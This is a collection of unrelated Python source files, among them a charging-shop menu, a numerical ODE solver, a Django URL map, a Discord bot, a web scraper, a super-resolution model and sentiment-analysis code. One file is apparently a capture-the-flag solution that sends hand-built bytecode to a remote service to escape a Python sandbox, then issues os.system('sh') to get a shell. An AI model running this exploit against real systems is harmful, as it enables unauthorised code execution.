import my_function
import os
my_function.print_options()
option = input()
charges = []
while option != 'x' and option != 'x':
    if option == '1':
        charges.append(my_function.device_charge())
    elif option == '2':
        my_function.save_record(charges)
    elif option == '3':
       my_function.collect_device(charges)
    elif option == '4':
       my_function.view_record(charges)
    elif option == '5':
        my_function.make_enquire(charges)
    else :
        print('the given command doesnt exist..')
    input("print enter to continue...")

    # cls for cleaning the screen
    os.system("cls")
    # asking for input
    my_function.print_options()
    option = input()


import datetime

def lin_search(array, element):
    for i in range(len(array)):
        if array[i] == element:
            return i
    return -1

def bin_search(array, element):
    start_idx = 0
    end_idx = len(array)

    while start_idx < end_idx:
        mid = (start_idx + end_idx) // 2
        guess = array[mid]
        if guess == element:
            return mid
        if guess < element:
            start_idx = mid + 1
        else:
            end_idx = mid
    return -1

print("creating list...")
a = [i for i in range(100000000)]
b = [i for i in range(100000000)]
print("list creared")

start_bin = datetime.datetime.now()
x = bin_search(a, 99999999)
end_bin = datetime.datetime.now()
diff_bin = start_bin - end_bin

start_lin = datetime.datetime.now()
c = lin_search(b, 99999999)
end_lin = datetime.datetime.now()
diff_lin = start_lin - end_lin
print(f"BIN: {diff_bin.seconds}")
print(f"LIN: {diff_lin.seconds}")


import numpy as onp
import jax.numpy as np

from tfc import utfc
from tfc.utils import TFCDict, NLLS, egrad, MakePlot, step
from tfc.utils.Latex import table

soln = lambda x,Pe: (1.-np.exp(Pe*(x-1.)))/(1.-np.exp(-Pe))

# Constants used in the differential equation:
tol = 1e-13

xI = 0.
xf = 1.
yi = 1.
yf = 0.

xpBound = 1.-1e-3

def CalculateSolution(Pe):

    # Create the TFC Class:
    N = 200
    m = 190
    nC = 2
    tfc = utfc(N,nC,m,basis='LeP',x0=0.,xf=1.)
    x = tfc.x

    # Get the Chebyshev polynomials
    H = tfc.H
    H0 = H(np.array([0.]))
    Hf = H(np.array([1.]))

    # Create the constraint expression and its derivatives
    y = lambda x,xi: np.dot(H(x),xi)+(1.-x)*(1.-np.dot(H0,xi))-x*np.dot(Hf,xi)
    yd = egrad(y)
    ydd = egrad(yd)

    L = lambda xi: ydd(x,xi)-Pe*yd(x,xi)

    # Calculate the solution
    zXi = np.zeros(H(x).shape[1])
    xi,it = NLLS(zXi,L)

    # Create the test set:
    N = 1000
    xTest = np.linspace(0.,1.,N)
    err = np.abs(y(xTest,xi)-soln(xTest,Pe))
    return np.max(err), np.mean(err)

def CalculateSolutionSplit(Pe):

    if Pe > 1e3:
        xpBoundL = 0.+1.e-3
        xpBoundU = 1.-1e-3
    else:
        xpBoundL = 0.+1.e-1
        xpBoundU = 1.-1e-1

    # Create the ToC Class:
    N = 200
    m = 190
    nC = 3
    tfc = utfc(N,nC,m,basis='LeP',x0=-1.,xf=1.)

    # Get the Chebyshev polynomials
    H = tfc.H
    dH = tfc.dH
    H0 = H(np.array([-1.]))
    Hf = H(np.array([1.]))
    Hd0 = dH(np.array([-1.]))
    Hdf = dH(np.array([1.]))

    # Create the constraint expression and its derivatives
    z = tfc.z

    xp = lambda xi: xi['xpHat']+(xpBoundU-xi['xpHat'])*step(xi['xpHat']-xpBoundU)+(xpBoundL-xi['xpHat'])*step(xpBoundL-xi['xpHat'])

    c1 = lambda xi: 2./(xp(xi))
    c2 = lambda xi: 2./(1.-xp(xi))

    x1 = lambda z,xi: (z+1.)/c1(xi)
    x2 = lambda z,xi: (z+1.)/c2(xi)+xp(xi)

    y1 = lambda z,xi: np.dot(H(z),xi['xi1'])+(1.-2.*z+z**2)/4.*(1.-np.dot(H0,xi['xi1']))\
                                   +(3.+2.*z-z**2)/4.*(xi['y']-np.dot(Hf,xi['xi1']))\
                                   +(-1.+z**2)/2.*(xi['yd']/c1(xi)-np.dot(Hdf,xi['xi1']))
    ydz1 = egrad(y1,0)
    yddz1 = egrad(ydz1,0)
    yd1 = lambda z,xi: ydz1(z,xi)*c1(xi)
    ydd1 = lambda z,xi: yddz1(z,xi)*c1(xi)**2

    y2 = lambda z,xi: np.dot(H(z),xi['xi2'])+(3.-2.*z-z**2)/4.*(xi['y']-np.dot(H0,xi['xi2']))\
                                     +(1.-z**2)/2.*(xi['yd']/c2(xi)-np.dot(Hd0,xi['xi2']))\
                                     +(1.+2.*z+z**2)/4.*(0.-np.dot(Hf,xi['xi2']))
    ydz2 = egrad(y2,0)
    yddz2 = egrad(ydz2,0)
    yd2 = lambda z,xi: ydz2(z,xi)*c2(xi)
    ydd2 = lambda z,xi: yddz2(z,xi)*c2(xi)**2

    # Solve the problem
    xi = TFCDict({'xi1':onp.zeros(H(z).shape[1]),'xi2':onp.zeros(H(z).shape[1]),'xpHat':onp.array([0.99]),'y':onp.array([0.]),'yd':onp.array([0.])})

    L1 = lambda xi: ydd1(z,xi)-Pe*yd1(z,xi)
    L2 = lambda xi: ydd2(z,xi)-Pe*yd2(z,xi)
    L = lambda xi: np.hstack([L1(xi),L2(xi)])

    xi,it = NLLS(xi,L)

    # Create the test set:
    N = 1000
    z = np.linspace(-1.,1.,N)

    # Calculate the error and return the results
    X = np.hstack([x1(z,xi),x2(z,xi)])
    Y = np.hstack([y1(z,xi),y2(z,xi)])
    err = np.abs(Y-soln(X,Pe))
    return np.max(err), np.mean(err)

err = np.block([[*CalculateSolution(1.),*CalculateSolutionSplit(1.)],
                [*CalculateSolution(10.**6),*CalculateSolutionSplit(10.**6)]])
tab = table.SimpleTable(err,form='%.2e')
print(tab)

#: Analytical solution plots
x = np.linspace(0.,1.,1000)
y1 = soln(x,1.)
y2 = soln(x,10.**6)

p = MakePlot(r'$x$',r'$y$')
p.ax[0].plot(x,y1,'k',label=r'$P_e = 1$')
p.ax[0].plot(x,y2,color=(76./256.,0.,153./256.),label=r'$P_e = 10^6$')
p.ax[0].legend()
p.PartScreen(8,7)
p.show()


from django.urls import path

from .views import (
					GetProducstApiView,
					RetrieveProductApiView,
					SearchProductsApiView,
					EndPointsView,
					FilterProductsApiView,
					CartItemApiView,
					CartApiView,
					)

app_name = 'store'

urlpatterns = [
	path("", EndPointsView, name="home"),
	path("products/", GetProducstApiView.as_view(), name='get_products'),
	path('products/<slug:slug>', RetrieveProductApiView.as_view(), name='retrieve_product'),
	path('products/search/', SearchProductsApiView.as_view(), name='search_product'),
	path('products/filter/', FilterProductsApiView.as_view()),
	path('products/cartitem/<int:pk>', CartItemApiView.as_view()),
	path('products/cart/',CartApiView.as_view()),
]


# coding=utf-8

# 演示python选择分支编程

a = 100
b = 110
if a == b:
    print('true')
else:
    print('false')

a = 12
b = 23
if a > b:
    print('apple')
elif a < b:
    print('banana')
else:
    print('equal')

a = ['Nicholas', 'Jay', 'Harlem', 'LiJian']
if 'Jay' in a:
    print('Jay is in the list')
else:
    print('Jay is not in the list')


#!/usr/bin/env python3
# https://community.grafana.com/t/configuring-grafana-and-pyroscope-phlare-with-docker-compose/102023
# https://github.com/grafana/pyroscope/blob/main/examples/python/simple/main.py
#
import logging
import os
import pyroscope

l = logging.getLogger()
l.setLevel(logging.DEBUG)

addr = os.getenv("PYROSCOPE_SERVER_ADDRESS") or "http://pyroscope:4040"
print(addr)

pyroscope.configure(
	application_name = "simple.python.app",
	server_address = addr,
	enable_logging = True,
)

def work(n):
	i = 0
	while i < n:
		i += 1

def fast_function():
	with pyroscope.tag_wrapper({ "function": "fast" }):
		work(20000)

def slow_function():
	with pyroscope.tag_wrapper({ "function": "slow" }):
	    work(80000)

if __name__ == "__main__":
	while True:
		fast_function()
		slow_function()


"""
Numeros primos utilizando recursividade
por Danrley Ribeiro
"""

def check_num(n):
    while n < 1:
        return check_num(int(input("Valor inválido. Digite novamente: ")))
    return n

def primo(n, divisor=2):
    if n < 2:
        return False
    if n == 2:
        return True
    if n % divisor == 0:
        return False
    if divisor * divisor > n:
        return True

    return primo(n, divisor + 1)

lista = []
num = int(input())
for i in range(num+1):
    if primo(i):
        lista.append(i)

print(f"p({num}) = {lista}")


filename = input()
lower_bound = input()
upper_bound = input()
file = open(f"data/{filename}")
for line in file:
    stripped = line.strip()
    if lower_bound <= stripped <= upper_bound:
        print(stripped, "- in range")
    else:
        print(stripped, "- not in range")


f = open("10Clusters.csv",'w')
from random import uniform, randint
f.write(F"X,Y\n")
bounds = [-100,100]
clusters = [(uniform(bounds[0],bounds[1]),(uniform(bounds[0],bounds[1]))) for i in range(5)]

print(clusters)
for i in range(1000):
    cl = clusters[randint(0,len(clusters)-1)]
    x = uniform(cl[0]-(bounds[0]/50),cl[1]-(bounds[1]/55))
    y = uniform(cl[0]-(bounds[0]/50),cl[1]-(bounds[1]/55))
    f.write(f"{x},{y}\n")
f.close()

df = pandas.read_csv("10Clusters.csv",sep=",")
df.apply(sum,axis=1)
#sum_vect = numpy.vectorize(sum)
#sum_vect(df,1)


import requests
from datetime import date
from main import add_brand
from fake_useragent import UserAgent
from json.decoder import JSONDecodeError

ua = UserAgent()

url = "https://www.faire.com/api/brand/all-brands"

headers = {
    'content-type': "application/json",
    'User-Agent': ua.random
}

response = requests.get(url, headers=headers)

data = response.json()

brands = data['brands']

print(f"Total number of Brands : {len(brands)}")

for brand in brands:
    token = brand['token']
    resp = requests.get(f"https://www.faire.com/api/brand-view/{token}")

    dat = resp.json()
    try:
        brand_id = dat['brand']['token']
        name = dat['brand']['name'].lower()
        country = dat['brand']['based_in']

        brandView = {
            'brand_id': brand_id,
            'name': name,
            'country': country,
            'date': date.today()
        }

        add_brand(brandView['brand_id'], brandView['name'], brandView['country'], brandView['date'])

        print(brandView)

    except (KeyError, JSONDecodeError) :
        brandView = {
            'brand_id': brand_id,
            'name': name,
            'country': None,
            'date': date.today()
        }

        add_brand(brandView['brand_id'], brandView['name'], brandView['country'], brandView['date'])
        print(brandView)
        continue


#!/usr/bin/env python3
from pwn import *

import dis
globals().update(dis.opmap)

eq = dis.cmp_op.index('==')

from builtins import __dict__ as builtins_dict

def pycode():
    bd = builtins_dict

    key = () == ()
    n2 = key + key
    n3 = n2 + key
    n4 = n3 + key
    n5 = n4 + key
    n0 = not key

    for key in bd:
        if key[n0:n3] == key:
            continue
        if not key[n0:n5] == key:
            continue
        if key[n0] == key[n2]:
            e = bd[key]
            continue
        if key[n0:n4] == key:
            continue
        if key[n3] == key[n4]:
            continue
        return e(bd[key]())

dis.dis(pycode)

for idx in range(38,39):
    x = bytearray([
        BUILD_TUPLE, idx,
        STORE_FAST, 8,
        STORE_FAST, 6,
        LOAD_FAST, 6,

        LOAD_FAST, 6, PRINT_EXPR, 0,

        BUILD_TUPLE, 0,
        BUILD_TUPLE, 0,
        COMPARE_OP, eq,
        STORE_FAST, 1,

        LOAD_FAST, 1,
        LOAD_FAST, 1,
        BINARY_ADD, 0,
        STORE_FAST, 2,

        LOAD_FAST, 1,
        LOAD_FAST, 2,
        BINARY_ADD, 0,
        STORE_FAST, 3,

        LOAD_FAST, 1,
        LOAD_FAST, 3,
        BINARY_ADD, 0,
        STORE_FAST, 4,

        LOAD_FAST, 1,
        LOAD_FAST, 4,
        BINARY_ADD, 0,
        STORE_FAST, 5,

        LOAD_FAST, 1,
        UNARY_NOT, 0,
        STORE_FAST, 0,

        LOAD_FAST, 6,
        GET_ITER, 0,

        FOR_ITER, 0,

        DUP_TOP, 0, PRINT_EXPR, 0,

        STORE_FAST, 1,

        LOAD_FAST, 1,
        LOAD_FAST, 0,
        LOAD_FAST, 5,
        BUILD_SLICE, 2,  # 0:5
        BINARY_SUBSCR, 0,  # key[0:5]
        LOAD_FAST, 1,
        COMPARE_OP, eq,  # key[0:5] == key
        DUP_TOP, 0, PRINT_EXPR, 0,
        POP_JUMP_IF_FALSE, 31,  # to FOR_ITER

        LOAD_FAST, 1,
        LOAD_FAST, 0,
        LOAD_FAST, 3,
        BUILD_SLICE, 2,  # 0:3
        BINARY_SUBSCR, 0,  # key[0:3]
        LOAD_FAST, 1,
        COMPARE_OP, eq,  # key[0:3] == key
        DUP_TOP, 0, PRINT_EXPR, 0,
        POP_JUMP_IF_TRUE, 31,  # to FOR_ITER

        LOAD_FAST, 1,
        LOAD_FAST, 0,
        BINARY_SUBSCR, 0,  # key[0]
        LOAD_FAST, 1,
        LOAD_FAST, 2,
        BINARY_SUBSCR, 0,  # key[2]
        COMPARE_OP, eq,  # key[0] == key[2]
        DUP_TOP, 0, PRINT_EXPR, 0,
        POP_JUMP_IF_FALSE, 70,   # to (x)

        LOAD_FAST, 6,
        LOAD_FAST, 1,
        BINARY_SUBSCR, 0,  # bd[key]
        STORE_FAST, 7,
        JUMP_ABSOLUTE, 31,

        LOAD_FAST, 1,  # (x)
        LOAD_FAST, 0,
        LOAD_FAST, 4,
        BUILD_SLICE, 2,  # 0:4
        BINARY_SUBSCR, 0,  # key[0:4]
        LOAD_FAST, 1,
        COMPARE_OP, eq,
        DUP_TOP, 0, PRINT_EXPR, 0,
        POP_JUMP_IF_TRUE, 31,

        LOAD_FAST, 1,
        LOAD_FAST, 3,
        BINARY_SUBSCR, 0,
        LOAD_FAST, 1,
        LOAD_FAST, 4,
        BINARY_SUBSCR, 0,
        COMPARE_OP, eq,
        DUP_TOP, 0, PRINT_EXPR, 0,
        POP_JUMP_IF_TRUE, 31,

        LOAD_FAST, 7,
        LOAD_FAST, 6,
        LOAD_FAST, 1,
        BINARY_SUBSCR, 0,
        CALL_FUNCTION, 0,
        DUP_TOP, 0, PRINT_EXPR, 0,
        BUILD_MAP, 0,
        BUILD_MAP, 0,
        CALL_FUNCTION, 3,

        RETURN_VALUE, 0,
    ])
    dis.dis(x)

    print(idx)
    io = connect(args.HOST, args.PORT)
    io.sendline(b'%d' % len(x))
    io.send(x)
    io.sendline(b'import os;os.system("sh")')
    io.interactive()


"""
Implementation of CARN architecture. The implementation is inspired by implementation
from cited repository, but there were few changes made so it is usable with this module.

Original source: https://github.com/nmhkahn/CARN-pytorch
"""

from math import log2, floor
from torch import nn, cat, add, Tensor, eye
from torch.nn import init, Upsample, Conv2d, ReLU, AvgPool2d, BatchNorm2d
from torch.nn.functional import interpolate, relu

class ScaleLayer(nn.Module):
    def __init__(self, init_value=1e-3):
        super().__init__()
        self.scale = nn.Parameter(Tensor([init_value]))

    def forward(self, data):
        return data * self.scale

class BasicBlock(nn.Module):
    def __init__(self,
                 in_channels, out_channels,
                 ksize=3, stride=1, pad=1):
        super(BasicBlock, self).__init__()

        self.body = nn.Sequential(
            nn.Conv2d(in_channels, out_channels, ksize, stride, pad),
            nn.ReLU(inplace=True)
        )

    def forward(self, x):
        out = self.body(x)
        return out

class MeanShift(nn.Module):
    def __init__(self, mean_rgb, sub):
        super(MeanShift, self).__init__()

        sign = -1 if sub else 1
        r = mean_rgb[0] * sign
        g = mean_rgb[1] * sign
        b = mean_rgb[2] * sign

        self.shifter = nn.Conv2d(3, 3, 1, 1, 0)
        self.shifter.weight.data = eye(3).view(3, 3, 1, 1)
        self.shifter.bias.data = Tensor([r, g, b])

        # Freeze the mean shift layer
        for params in self.shifter.parameters():
            params.requires_grad = False

    def forward(self, x):
        x = self.shifter(x)
        return x

class ResidualBlock(nn.Module):
    def __init__(self,
                 in_channels, out_channels):
        super(ResidualBlock, self).__init__()

        self.body = nn.Sequential(
            nn.Conv2d(in_channels, out_channels, 3, 1, 1),
            nn.ReLU(inplace=True),
            nn.Conv2d(out_channels, out_channels, 3, 1, 1),
            #TODO: ReLU
        )

    def forward(self, x):
        out = self.body(x)
        out = relu(out + x)
        return out

class Block(nn.Module):
    def __init__(self, in_channels, out_channels):
        super(Block, self).__init__()

        self.b1 = ResidualBlock(64, 64)
        self.b2 = ResidualBlock(64, 64)
        self.b3 = ResidualBlock(64, 64)
        self.c1 = BasicBlock(64 * 2, 64, 1, 1, 0)
        self.c2 = BasicBlock(64 * 3, 64, 1, 1, 0)
        self.c3 = BasicBlock(64 * 4, 64, 1, 1, 0)

    def forward(self, x):
        c0 = o0 = x

        b1 = self.b1(o0)
        c1 = cat([c0, b1], dim=1)
        o1 = self.c1(c1)

        b2 = self.b2(o1)
        c2 = cat([c1, b2], dim=1)
        o2 = self.c2(c2)

        b3 = self.b3(o2)
        c3 = cat([c2, b3], dim=1)
        o3 = self.c3(c3)

        return o3

class UpsampleBlock(nn.Module):
    def __init__(self, num_channels, scale):
        super(UpsampleBlock, self).__init__()

        self.up = _UpsampleBlock(num_channels, scale=scale)

    def forward(self, x, scale):
        return self.up(x)

class _UpsampleBlock(nn.Module):
    def __init__(self, num_channels, scale):
        super(_UpsampleBlock, self).__init__()

        modules = []
        if scale == 2 or scale == 4 or scale == 8:
            for _ in range(int(log2(scale))):
                modules += [nn.Conv2d(num_channels, 4 * num_channels, 3, 1, 1), nn.ReLU(inplace=True)]
                modules += [nn.PixelShuffle(2)]
        elif scale == 3:
            modules += [nn.Conv2d(num_channels, 9 * num_channels, 3, 1, 1), nn.ReLU(inplace=True)]
            modules += [nn.PixelShuffle(3)]

        self.body = nn.Sequential(*modules)

    def forward(self, x):
        out = self.body(x)
        return out

class Net(nn.Module):
    def __init__(self, scale_factor, num_channels=3):
        super(Net, self).__init__()

        self.scale_factor = scale_factor

        self.sub_mean = MeanShift((0.4488, 0.4371, 0.4040), sub=True)
        self.add_mean = MeanShift((0.4488, 0.4371, 0.4040), sub=False)

        self.entry = nn.Conv2d(3, 64, 3, 1, 1)

        self.b1 = Block(64, 64)
        self.b2 = Block(64, 64)
        self.b3 = Block(64, 64)
        self.c1 = BasicBlock(64 * 2, 64, 1, 1, 0)
        self.c2 = BasicBlock(64 * 3, 64, 1, 1, 0)
        self.c3 = BasicBlock(64 * 4, 64, 1, 1, 0)

        self.upsample = UpsampleBlock(64, self.scale_factor)
        self.exit = nn.Conv2d(64, 3, 3, padding=1)

    def forward(self, x):
        x = self.sub_mean(x)
        x = self.entry(x)
        c0 = o0 = x

        b1 = self.b1(o0)
        c1 = cat([c0, b1], dim=1)
        o1 = self.c1(c1)

        b2 = self.b2(o1)
        c2 = cat([c1, b2], dim=1)
        o2 = self.c2(c2)

        b3 = self.b3(o2)
        c3 = cat([c2, b3], dim=1)
        o3 = self.c3(c3)

        out = self.upsample(o3, scale=self.scale_factor)

        out = self.exit(out)
        out = self.add_mean(out)

        return out


import os
import ports

Test.Summary = '''
Ensure that handshake fails if invalid alpn string is offered
'''

# Only later versions of openssl support the `-alpn` option.
Test.SkipUnless(Condition.HasOpenSSLVersion('1.1.1'))

# Define default ATS
ts = Test.MakeATSProcess("ts", enable_tls=True)

# add ssl materials like key, certificates for the server
ts.addSSLfile("ssl/server.pem")
ts.addSSLfile("ssl/server.key")

# Make sure the TS server certs are different from the origin certs
ts.Disk.ssl_multicert_config.AddLine('dest_ip=* ssl_cert_name=server.pem ssl_key_name=server.key')

# Case 1, global config policy=permissive properties=signature
#         override for foo.com policy=enforced properties=all
ts.Disk.records_config.update(
    {
        'proxy.config.ssl.server.cert.path': '{0}'.format(ts.Variables.SSLDir),
        'proxy.config.ssl.server.private_key.path': '{0}'.format(ts.Variables.SSLDir),
    })

tr = Test.AddTestRun("alpn banana")
tr.Processes.Default.Command = "openssl s_client -ign_eof -alpn=banana -connect 127.0.0.1:{}".format(ts.Variables.ssl_port)
tr.ReturnCode = 1  # Should fail
tr.Processes.Default.StartBefore(Test.Processes.ts)
tr.StillRunningAfter = ts
tr.Processes.Default.Streams.All += Testers.IncludesExpression("No ALPN negotiated", "Banana should not match a negotiation")

tr = Test.AddTestRun("alpn http/1.1")
tr.Processes.Default.Command = "printf 'GET / HTTP/1.1\r\n\r\n' | openssl s_client -ign_eof -alpn=http/1.1 -connect 127.0.0.1:{}".format(
    ts.Variables.ssl_port)
tr.ReturnCode = 0
tr.StillRunningAfter = ts
tr.Processes.Default.Streams.All += Testers.IncludesExpression("ALPN protocol: http/1.1", "Successful ALPN")
tr.Processes.Default.Streams.All += Testers.IncludesExpression("HTTP/1.1 400 Host Header Required", "Processed the request")

tr = Test.AddTestRun("no alpn")
tr.Processes.Default.Command = "printf 'GET / HTTP/1.1\r\n\r\n' | openssl s_client -ign_eof -connect 127.0.0.1:{}".format(
    ts.Variables.ssl_port)
tr.ReturnCode = 0
tr.StillRunningAfter = ts
tr.Processes.Default.Streams.All += Testers.IncludesExpression("No ALPN negotiated", "No ALPN offered, none negotiated")
tr.Processes.Default.Streams.All += Testers.IncludesExpression("HTTP/1.1 400 Host Header Required", "Processed the request")

tr = Test.AddTestRun("alpn h2")
tr.Processes.Default.Command = "curl -k --http2 -v -o /dev/null https://127.0.0.1:{}".format(ts.Variables.ssl_port)
tr.ReturnCode = 0
tr.StillRunningAfter = ts
tr.Processes.Default.Streams.All += Testers.IncludesExpression("ALPN. server accepted.*h2", "negotiated h2")
tr.Processes.Default.Streams.All += Testers.IncludesExpression("HTTP/2 404 ", "Good response")


import pandas as pd
import os
from pandas.io.json import json_normalize
from bs4 import BeautifulSoup
import numpy as np
import requests
import sys
from argparse import ArgumentParser
import subprocess

df = pd.read_csv('../input/tv_shows_final.csv')
df = df.drop(columns=['Unnamed: 0'])

def parse():
    parser=ArgumentParser(description="This program returns the best TV shows depending on the genre and a mimnum imdb rating choosen")
    parser.add_argument("--genre",dest="genre",type=str,help="The available genres are the following:'Documentary', 'Animation', 'Thriller','War', 'Comedy', 'Crime', 'Drama', 'Action', 'Fantasy', 'Western','Family', 'Romance', 'Biography', 'History', 'Mystery', 'Sport','Sci-Fi', 'Adventure', 'Horror'")
    parser.add_argument("--rating",dest="rating",type=float,help="Choose a minum rating. This is based on the imdb clasification")
    return parser.parse_args()

def tvshows(genre,rating):
    gen_df = df.loc[df[genre]>0]
    rat_df = gen_df.loc[df['imdbRating'] >= rating]
    tot = rat_df.iloc[:,[0,1,2,3,4,5,6,7]]
    days = int(tot['Hours'].mean()//12)
    hours = int(round(tot['Hours'].mean()%12))
    new = tot.iloc[:,[0,1,2,3,4,5,6]]
    plo = new.plot.bar('Title',"imdbRating")
    if new.empty == True:
        return ('Wow! You have high standards. Try to chose a lower rating')
    else:
        return f"Here is your selection, when and were you can watch them \n {new} \n You may spend an average of {days} days and {hours} hours witching each of them"

def main():
    args = parse()
    genre=args.genre
    rating=args.rating
    try:
        print(tvshows(genre,rating))
    except Exception:
        print('You must choose a valide genre and rating. For more info try main.py -h')

if __name__ == "__main__":
    main()


# coding: utf-8
from datetime import datetime
from utils import extract_texts

def ping(msg=None, debug=False):
    '''检测机器人在线情况'''
    time_str = datetime.strftime(datetime.now(), '%m/%d %H:%M:%S')
    command, options, words = extract_texts(msg.text)
    response = 'pong' if command == 'ping' else 'ping'
    return u'%s (%s UTC)' % (response, time_str, )

pong = ping


#Exceeds time limit
def isIsomorphic(s: str, t: str) -> bool:

    for i in range(0, len(s)):
        v1 = s[i]
        v2 = t[i]

        i1 = [i for i,v in enumerate(s) if v == v1]
        i2 = [i for i,v in enumerate(t) if v == v2]
        print(i1, "/", i2)

        if i1 != i2:
            return False
    return True


import discord
from discord.ext import commands
import asyncio
import json
import API
import EmbedHandler

intents = discord.Intents.all()

client = commands.Bot(command_prefix="$", intents=intents)

@client.event
async def on_ready():
    print(f"I have logged in as {client.user}")

@client.command()
async def joke(message: discord.Message):
    if message.author == client.user:
        return
    joke = API.Joke().get_joke_json()
    async with message.channel.typing():
        await asyncio.sleep(0.6)
    await message.channel.send(joke["setup"])

    def check(m: discord.Message):
        return m.author.id == message.author.id and m.channel.id == message.channel.id
    await client.wait_for("message", check=check)
    async with message.channel.typing():
        await asyncio.sleep(0.6)
    await message.channel.send(joke["punchline"])

@client.command()
async def meme(message: discord.Message):
    meme = API.Meme()
    meme.get_meme_json()
    meme.get_meme()
    async with message.channel.typing():
        await asyncio.sleep(0.6)
    await message.channel.send(file=discord.File("resources/meme.png"))

@client.command()
async def umd(message: discord.Message):
    embed = EmbedHandler.Embed()
    async with message.channel.typing():
        await asyncio.sleep(0.6)
    await message.channel.send(embed=embed.generate_default_main_embed())

def main():
    token = ""
    with open(file="resources/token.json", mode="r") as read:
        token = json.loads(read.read())

    client.run(
        token=token["discord_token"])

if __name__ == "__main__":
    main()


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
# About  : Plot Success Mean in Contourf for AMP and BP
# Author : Xiang,Zuo
# E-Mail : xianglinks@gmail.com
# Date   : 2016-03-30
"""

import csv

import numpy as np
import matplotlib.pyplot as plt

# get csv data
succ_array_amp_10db = np.array(list(csv.reader(open("../../../test_results/sensing_matrix_kl1p/pc/snr_10db/SuccessMean_AMP_10db.csv", "r"), delimiter=','))).astype('float')
succ_array_amp_20db = np.array(list(csv.reader(open("../../../test_results/sensing_matrix_kl1p/pc/snr_20db/SuccessMean_AMP_20db.csv", "r"), delimiter=','))).astype('float')

succ_array_bp_10db = np.array(list(csv.reader(open("../../../test_results/sensing_matrix_kl1p/pc/snr_10db/SuccessMean_Basis-Pursuit_10db.csv", "r"), delimiter=','))).astype('float')
succ_array_bp_20db = np.array(list(csv.reader(open("../../../test_results/sensing_matrix_kl1p/pc/snr_20db/SuccessMean_Basis-Pursuit_20db.csv", "r"), delimiter=','))).astype('float')

# get array parameters

row_num = len(succ_array_amp_10db)
col_num = len(succ_array_amp_10db[1])

# --- use contourf plot ---
plt.suptitle("Success Rate AMP BP")

# adjust subplots
plt.subplots_adjust(hspace=0.35, wspace=0.3)

# set colorbar
cb = np.linspace(0, 1, 5, endpoint=True)

# subplot 1: OMP 10db
# -----------------------------------------------------------------------------
ax1 = plt.subplot(2, 2, 1)
plt.title("AMP SNR=10db", fontsize=10)
plt.xlabel("k", fontsize=10)
plt.ylabel("m", rotation=0, fontsize=10)
ct1 = plt.contourf(succ_array_amp_10db, origin='lower')

# subplot 2: OMP 20db
# -----------------------------------------------------------------------------
ax2 = plt.subplot(2, 2, 2)
plt.title("AMP SNR=20db", fontsize=10)
plt.xlabel("k", fontsize=10)
plt.ylabel("m", rotation=0, fontsize=10)
ct2 = plt.contourf(succ_array_amp_20db, origin='lower')
cbar = plt.colorbar(ticks=cb)

# subplot 3: CoSaMP 10db
# -----------------------------------------------------------------------------
ax3 = plt.subplot(2, 2, 3)
plt.title("BP SNR=10db", fontsize=10)
plt.xlabel("k", fontsize=10)
plt.ylabel("m", rotation=0, fontsize=10)
ct3 = plt.contourf(succ_array_bp_10db, origin='lower')

# subplot 4: BP 20db
# -----------------------------------------------------------------------------
ax4 = plt.subplot(2, 2, 4)
plt.title("BP SNR=20db", fontsize=10)
plt.xlabel("k", fontsize=10)
plt.ylabel("m", rotation=0, fontsize=10)
ct4 = plt.contourf(succ_array_bp_20db, origin='lower')

# save picture
plt.savefig('succ_amp_bp.png', dpi=300)


from os import listdir
from os.path import isfile, join
import numpy
import cv2

# read in images from the folder
base_name = 'soap_map_b'
end_name = '_q4096.png'
mypath='png_cropped/'
outputpath = 'png_cropped_letter/'
onlyfiles = [ f for f in listdir(mypath) if isfile(join(mypath,f)) ]
print(onlyfiles)
images = numpy.empty(len(onlyfiles), dtype=object)
for n in range(0, len(onlyfiles)):
#for n in range(0, 1):
	img = cv2.imread(join(mypath,onlyfiles[n]) )
	# extract a single letter
	crop_img = img[115:215, 80:187]
	#cv2.imshow("cropped", crop_img)
	#cv2.waitKey(0)
	#cv2.destroyAllWindows()
	# save the images into a new folder with the same name.
	new_name = onlyfiles[n]
	newfilename = str(outputpath) +new_name[:-4]+'_letter.png'
	cv2.imwrite(newfilename,crop_img)


from decimal import Decimal, ROUND_HALF_UP
from .constants import EXPONENTIAL_K_VALUE
from intervaltree import Interval, IntervalTree
from NewsSentiment import TargetSentimentClassifier
from .utils import DatabaseUtils
from profiles_app.models import Entity, Article

def scaling(avg_array_list, k=3, linear=False):
    neutral_points = positive_points = negative_points = 0

    for avg_array in avg_array_list:
        for i, avg_value in enumerate(avg_array):

            if linear:
                points = avg_value * 100
            else:
                points = (avg_value ** k) * 100

            if i == 0:
                neutral_points += points
            elif i == 1:
                positive_points += points
            elif i == 2:
                negative_points += points
    return [neutral_points, positive_points, negative_points]

def average_array(probabilities):
    num_probabilities = len(probabilities)
    neutral_total = positive_total = negative_total = 0

    for prob_data in probabilities:
        if not prob_data:
            continue
        print("prob_data:", prob_data)
        class_prob = prob_data['class_prob']
        class_label = prob_data['class_label']

        if class_label == 'neutral':
            neutral_total += class_prob
        elif class_label == 'positive':
            positive_total += class_prob
        elif class_label == 'negative':
            negative_total += class_prob

    neutral_avg = neutral_total / num_probabilities if num_probabilities > 0 else 0
    positive_avg = positive_total / num_probabilities if num_probabilities > 0 else 0
    negative_avg = negative_total / num_probabilities if num_probabilities > 0 else 0

    return [neutral_avg, positive_avg, negative_avg]

def round_array_to_1dp(arr):
    decimal_array = [Decimal(str(x)) for x in arr]
    original_sum = sum(decimal_array)
    rounded_array = [x.quantize(Decimal('0.0'), rounding=ROUND_HALF_UP) for x in decimal_array]
    rounded_sum = sum(rounded_array)
    adjustment = Decimal('100') - rounded_sum
    rounded_array[-1] += adjustment
    rounded_array = [float(x) for x in rounded_array]
    return rounded_array

def percentage_contribution(elements):
    total = sum(elements)
    percentage_contributions = [(element / total) * 100 for element in elements]
    return round_array_to_1dp(percentage_contributions)

class SentimentAnalyser:

    def __init__(self):
        self.tsc = TargetSentimentClassifier()

    def bounds_sentiment(self, mention_start, mention_end, sentence_start, sentence_end,
                         article_text):
        try:
            left_segment = article_text[sentence_start:mention_start]
            mention_segment = article_text[mention_start:mention_end]
            right_segment = article_text[mention_end:sentence_end]

            sentiment = self.tsc.infer_from_text(left_segment, mention_segment, right_segment)
            # print(sentiment[0])

            return sentiment[0]

        except Exception as e:
            print(f"Error during sentiment analysis: {e}")
            print(f"LEFT: {left_segment}")
            print(f"MENTION: {mention_segment}")
            print(f"RIGHT: {right_segment}")
            return None

    def process_clustered_entities(self, clustered_entities, sentence_bounds, article_text,
                                   debug):
        START_HIGHLIGHT = '\033[0m'
